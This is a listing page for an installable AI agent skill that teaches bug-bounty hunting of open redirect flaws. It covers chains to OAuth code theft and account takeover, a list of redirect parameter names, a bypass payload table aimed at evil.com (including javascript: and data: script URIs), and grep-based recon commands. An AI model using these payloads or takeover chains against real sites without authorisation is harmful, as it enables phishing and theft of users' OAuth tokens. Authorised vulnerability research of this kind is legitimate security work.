Skills

Hunt Open Redirect

Hunt Open Redirect, all types including low-impact, chained to OAuth token theft →...

Install

npx skills add Zyrexnn/Cybermes --skill hunt-open-redirect -g -a claude-code -y
Repository
Zyrexnn/Cybermes987
Category
Engineering
Updated
3d ago
License
Apache-2.0
Context cost
Lightabout 1,176 tokens
Runs scripts
No, instructions only

What it does

Hunt Open Redirect, all types including low-impact, chained to OAuth token theft → ATO, phishing chains. URL parameter manipulation, JavaScript redirect, meta refresh, header injection. Use when hunting redirect bugs or building ATO chains.

HUNT-OPEN-REDIRECT, Open Redirect

Crown Jewel Targets

Open redirect alone is Low. Chained to OAuth = Critical (ATO).

Highest-value chains:

  • Open redirect → OAuth auth code theft, redirect_uri contains open redirect on trusted domain → auth code sent to attacker → ATO
  • Open redirect → phishing, users trust the URL because it starts with target.com
  • Open redirect → SSRF escalation, if redirect followed server-side → SSRF
  • Open redirect → session fixation, force user to login endpoint with pre-set session

Attack Surface Signals

?redirect=
?next=
?url=
?return=
?returnTo=
?continue=
?dest=
?destination=
?go=
?forward=
?location=
?target=
?redir=
?redirect_uri=
?callback=
?checkout_url=
?success_url=
?cancel_url=
/logout?returnTo=
/login?next=
/sso?callback=

Bypass Table

TechniquePayload
Basichttps://evil.com
Protocol relative//evil.com
Backslash bypass/\\evil.com
At-sign confusionhttps://target.com@evil.com
Double slash//evil.com/%2F..
URL encoding%2Fevil.com
Null byteevil.com%00target.com
Whitespaceevil.com%09 or %20
JavaScript URIjavascript:window.location='https://evil.com'
Data URIdata:text/html,<script>window.location='https://evil.com'</script>
Subdomainhttps://target.com.evil.com
Fragmenthttps://evil.com#.target.com

Step-by-Step Hunting Methodology

Phase 1, Discover Redirect Parameters

# Extract all redirect candidates from crawl
cat recon/$TARGET/urls.txt | gf redirect > recon/$TARGET/redirect-candidates.txt
wc -l recon/$TARGET/redirect-candidates.txt

# Less common param names
grep -E "(\?|&)(return|next|dest|go|forward|location|to|jump|target|out|link|logout)" \
  recon/$TARGET/urls.txt >> recon/$TARGET/redirect-candidates.txt
Read the whole SKILL.md on GitHub

More in Engineering